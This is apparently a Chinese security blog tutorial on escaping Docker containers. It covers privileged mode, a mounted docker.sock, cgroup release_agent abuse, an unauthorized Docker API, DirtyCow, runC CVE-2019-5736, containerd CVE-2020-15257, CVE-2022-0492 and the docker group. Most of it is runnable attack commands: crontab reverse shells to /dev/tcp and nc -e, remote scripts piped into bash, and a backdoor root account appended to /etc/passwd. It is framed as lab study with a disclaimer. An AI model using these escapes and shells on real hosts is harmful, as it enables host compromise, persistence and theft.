0x01 容器逃逸介绍

在开始之前对于容器逃逸主要有以下三种方法:

1.不安全的配置

2.相关程序漏洞

3.内核漏洞

0x02 docker信息收集判断

判断成功率并不是100%

2.1 判断是否为容器环境

root权限情况下使用下面的命令去判断

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

2.2 判断特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

2.3 挂载 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

2.4 挂载 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

2.5 挂载宿主机根目录

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

2.6 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

2.7自动化检测脚本

项目地址:https://github.com/teamssix/container-escape-check

或直接在容器里面执行

wget https://raw.githubusercontent.com/teamssix/container-escape-check/main/container-escape-check.sh -O - | bash

91183-fzy9mruz4iu.png

0x03 docker配置参数方式逃逸方式

3.1 特权模式privileged参数逃逸

首先启动一个特权容器

docker run -it --privileged ubuntu:18.04 

96406-b0bd5i53m6e.png

fdisk -l 
df -h

63442-sx20e5ft0h.png

可以直接挂载宿主机的磁盘

mkdir mo60 
mount /dev/nvme0n1p2 mo60/ 
chroot /mo60/ 

成功访问到宿主机文件
21050-rxqrtwxqoee.png

写crontab 反弹shell

crontab -l
crontab -e * * * * * /bin/bash -i >& /dev/tcp/ip/port 0>&1 

3.2 docker.sock

/var/run/docker.sock是 Docker守护程序默认监听的 Unix 套接字。它也是一个用于从容器内与Docker守护进程通信的工具 取自StackOverflowUnix Sockets 术语套接字通常是指 IP 套接字。这些是绑定到端口(和地址)的端口,我们向其发送 TCP 请求并从中获取响应。
另一种类型的 Socket 是 Unix Socket,这些套接字用于IPC(进程间通信)。它们也称为 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系统进行通信,而 IP 套接字使用网络。
Docker 守护进程可以通过三种不同类型的 Socket 监听 Docker Engine API 请求:unix, tcp, and fd. 默认情况下,在 /var/run/docker.sock 中创建一个 unix 域套接字(或 IPC 套接字)

启动测试容器

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 

随后在docker容器中安装docker 安装命令如下:

apt-get update
apt-get  install curl -y
curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun
或
curl -sSL https://get.daocloud.io/docker | sh
systemctl enable docker
systemctl start docker

# ubuntu 18.04安装docker
apt-get update
# 安装依赖包
apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common
# 添加 Docker 的官方 GPG 密钥
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
# 验证您现在是否拥有带有指纹的密钥
apt-key fingerprint 0EBFCD88
# 设置稳定版仓库
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
# 更新
apt-get update
# 安装最新的Docker-ce 
apt-get install docker-ce
# 启动
systemctl enable docker
systemctl start docker

安装完成之后我们使用docker ps就可以看到宿主机上的容器了

docker ps

14754-m7obuwswdgr.png

将宿主机的根目录挂载到容器

docker run -it -v /:/mo60 ubuntu:18.04 /bin/bash 
chroot mo60

可以看到宿主机文件了,反弹shell也是修改crontab即可

89916-krg05nhkug.png

3.3 挂载宿主机根目录

如果在docker启动的时候挂载了宿主机的根目录,就可以通过chroot获取宿主机的权限

docker run -it -v /:/mo60/ ubuntu:18.04 
chroot /mo60/ 

03030-ndittfodb5k.png

还是一样可以通过crontab反弹shell

3.4 Cgroup执行宿主机系统命令

通过notify_on_release实现容器逃逸 条件

  • 以root用户身份在容器内运行
  • 使用SYS_ADMINLinux功能运行
  • 缺少AppArmor配置文件,否则将允许mountsyscall
  • cgroup v1虚拟文件系统必须以读写方式安装在容器内
docker run --rm -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 

23240-iej6vxm7a9.png

POC

# In the container
# 挂载宿主机cgroup,自定义一个cgroup,/tmp/cgrp/x
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
# 设置/tmp/cgrp/x的cgroup的notify_no_release和release_agent
#  设置/tmp/cgrp/x的notify_no_release属性设置为1,通过sed匹配出/etc/mtab中perdir=的路径,然后将路径+cmd写入/tmp/cgrp/release_agent
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
# 写入自定义命令
echo '#!/bin/sh' > /cmd
# 结果在当前目录的output文件中
echo "ls / > $host_path/output" >> /cmd
chmod a+x /cmd
# 执行完sh -c之后,sh进程自动退出,cgroup /tmp/cgrp/x里不再包含任何任务,/tmp/cgrp/release_agent文件里的shell将被操作系统内核执行,达到了容器逃逸的效果
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

这里执行的ls /运行后结果会输出到output中

51135-5ptzbfbh35x.png

3.4 docker daemon api未授权访问

在Docker的部署文档中,由于默认存在某些不安全的配置样例,导致2375管理端口对外,该未授权访问漏洞是因为Docker API可以执行Docker命令,该接口是目的是取代Docker命令界面,通过URL操作Docker。

使用 vluhub 环境

git clone https://github.com/vulhub/vulhub.git
cd vulhub/docker/unauthorized-rce
docker-compose build
docker-compose up -d

反弹shell

import docker

client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})

0x04 其他逃逸方式

4.1 DirtyCow漏洞逃逸-CVE-2016-5195

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,通过它可实现Docker容器逃逸,获得root权限的shell。
docker与宿主机共享内核,因此我们需要存在dirtyCow漏洞的宿主机镜像。

下载测试容器并运行

git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd dirtycow-docker-vdso/
docker-compose run dirtycow /bin/bash

POC地址,上面的环境会自动下载poc无需手动再次下载

https://github.com/scumjr/dirtycow-vdso

4.2 runC逃逸-CVE-2019-5736

影响版本
docker version <=18.09.2 RunC version <=1.0-rc6

安装环境

curl https://gist.githubusercontent.com/thinkycx/e2c9090f035d7b09156077903d6afa51/raw -o install.sh && bash install.sh 

下载Exploit

git clone https://github.com/Frichetten/CVE-2019-5736-PoC

修改一下要执行的命令这里我修改为在根目录创建一个文件

45757-ac9oukjvl6.png

touch /tmp/mo60

编译一下

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

09789-80kybnn8siv.png

把编译后的内容传到docker容器中

docker cp main id:/

40332-34loz4jrhua.png

在容器里面运行

42270-n3kuoohteb.png

然后我们在宿主机尝试去exec进入该容器即可触发,如果web界面有终端也可以触发比如docker搭建的Jupyter的Terminal

docker exec -it id /bin/sh

10079-78v3wjpwy4u.png

成功执行

14249-r1emw30429.png

成功在宿主机创建
30172-gxvzr9xvmm.png

有一点要注意docker逃逸出来后,docker状态崩溃,root权限也无法再次进入docker内部

这里有个坑,一开始我是/bin/bash但是poc里面写的是sh导致命令执行失败,要/bin/bash的话要修改poc把/bin/sh替换成/bin/bash

docker exec -it id /bin/bash

有两处位置记得都替
38729-pmn23ow072q.png

4.3 CVE-2020-15257

Containerd是一个控制runC的守护进程,提供命令行客户端和API,用于在一个机器上管理容器。

在版本1.3.9之前和1.4.0~1.4.2的Containerd中,由于在网络模式为host的情况下,容器与宿主机共享一套Network namespace ,此时containerd-shim API暴露给了用户,而且访问控制仅仅验证了连接进程的有效UID为0,但没有限制对抽象Unix域套接字的访问,刚好在默认情况下,容器内部的进程是以root用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的containerd一样,连接containerd-shim监听的抽象Unix域套接字,调用containerd-shim提供的各种API,从而实现容器逃逸。

利用要求

1.网络模式为host

2.容器内部进程root用户启动

安装环境有漏洞的docker版本

sudo apt-get install ca-certificates curl software-properties-common
# 添加官方GPG密钥,这一步可能需要root用户执行,ubuntu执行,sudo passwd root 然后su root即可
sudo curl -fsSL https://download.docker.com/linux/ubuntu/gpg | apt-key add -
# 设置稳定的存储库
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu xenial stable"
# 安装指定版本的docker
sudo apt-get install docker-ce=5:19.03.6~3-0~ubuntu-xenial docker-ce-cli=5:19.03.6~3-0~ubuntu-xenial containerd.io=1.2.4-1

此时查看containerd版本

docker version
漏洞影响版本
containerd < 1.4.3
containerd < 1.3.9

87439-ni8yu7urwqa.png

通过--net=host 作为启动参数来运行并进入一个容器:

sudo docker run -itd --net=host ubuntu:18.04 /bin/bash

进入容器

sudo docker exec -it <容器id> /bin/bash

接着在容器内执行,可看到抽象命名空间Unix域套接字

cat /proc/net/unix|grep -a "containerd-shim"

97735-5ltyzoi0mw6.png

然后下载漏洞利用工具 https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz

然后拷贝进容器

sudo docker cp cdk_linux_amd64 容器id:/tmp

运行工具,执行反弹shell命令,验证得到一个宿主机的shell:

./cdk_linux_amd64 run shim-pwn 反弹IP 反弹端口

28299-dh6ezpyhm67.png

反弹的shell为宿主机的shell
93531-aok4djbwm4s.png

4.4 CVE-2022-0492

当容器没有开启额外安全措施时,获得容器内root 权限即可逃逸到宿主机

漏洞产品: linux kernel - cgroup

影响版本: ~linux kernel 5.17-rc3

在存在漏洞版本的内核的linux中使用docker才可以,这里我们来搭建符合的环境

git clone https://github.com/brant-ruan/metarget.git
cd metarget/
pip3 install -r requirements.txt
./metarget cnv install cve-2022-0492

运行安装完后查看内核版本
05380-1ne4se2ju5g.png

启动环境

docker run --rm -it --cap-add=SYS_ADMIN --security-opt="apparmor=unconfined" ubuntu:20.04 /bin/bash 

这里使用exp

mkdir /tmp/testcgroup
mount -t cgroup -o memory cgroup /tmp/testcgroup
mkdir /tmp/testcgroup/x
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo 1 > /tmp/testcgroup/x/notify_on_release
touch /cmd
echo '#!/bin/sh' > /cmd
echo "要执行的命令 >> $host_path/result"  >> /cmd
chmod 777 /cmd
echo "$host_path/cmd" > /tmp/testcgroup/release_agent
sh -c "echo \$\$ >  /tmp/testcgroup/x/cgroup.procs"

然后运行完查看/result文件即可,这里我是看了宿主机的/tmp目录

39372-eoq533n5kwg.png

或者使用 https://github.com/chenaotian/CVE-2022-0492/blob/main/exp.sh 使用方法

./exp.sh "cat /etc/passwd"

这里运行 cat /etc/passwd 可以看到这个是u是我宿主机用户

88731-4qysehlyo27.png

4.6 Docker 用户组提权

Docker 运行的所有命令都是需要 sudo 来运行,那是因为 docker 需要 root 权限才能跑。
Docker 监护进程有一个特性,它能被允许访问 root 用户或者是在 docker 组里面的所有用户,这就如同拥有 root 的访问权限。
如果一个服务器有一个普通的用户,并且这个用户加入了 docker 组,则这个用户已经是 root 了。

查看当前所在的组,发现在docker组里面

groups

09510-p2gz4hnt2j8.png

参数 -v 将容器外部的目录 / 挂载到容器内部 /hostOS 这个容器的启动脚本是 exploit.sh,主要内容是:chroot 到容器的 /hostOS (也就是宿主机的 /),然后获取到宿主机的 root 权限

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

57662-n7vlo29x7fm.png

又或者
将 /etc/ 目录挂载进 Docker,查看 shadow 和 passwd

docker run -v /etc/:/mnt -it alpine
cd /mnt
cat shadow

85636-htbj8v16s9t.png

添加一个特权账号,这里先生成密码。

openssl passwd -1 -salt mo60

得到

$1$mo60$1rTGVj6vCS8EEqxxqnuBH/

然后写入passwd文件

echo 'mo60:$1$mo60$1rTGVj6vCS8EEqxxqnuBH/:0:0::/root:/bin/bash' >>/mnt/passwd

82180-3c4beitkrfw.png

然后退出docker容器到宿主机成功到root

72137-s0i8kvq14h9.png

参考

https://zone.huoxian.cn/d/990
https://zone.huoxian.cn/d/1092-docker
https://wiki.teamssix.com/CloudNative/Docker/docker-user-group-privilege-escalation.html
https://wiki.teamssix.com/CloudNative/Docker/CVE-2022-0492.html
https://github.com/chenaotian/CVE-2022-0492
https://blog.csdn.net/qq_44657899/article/details/120584394

Last modification:February 25, 2023
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/645.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 法律说明:
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全,本文内容未隐讳任何个人、群体、公司。非文学作品,请勿过度理解,根据《计算机软件保护条例》第十七条,本站所有软件请仅用于学习研究用途。
如果觉得我的文章对你有用,请随意赞赏,可备注留下ID方便感谢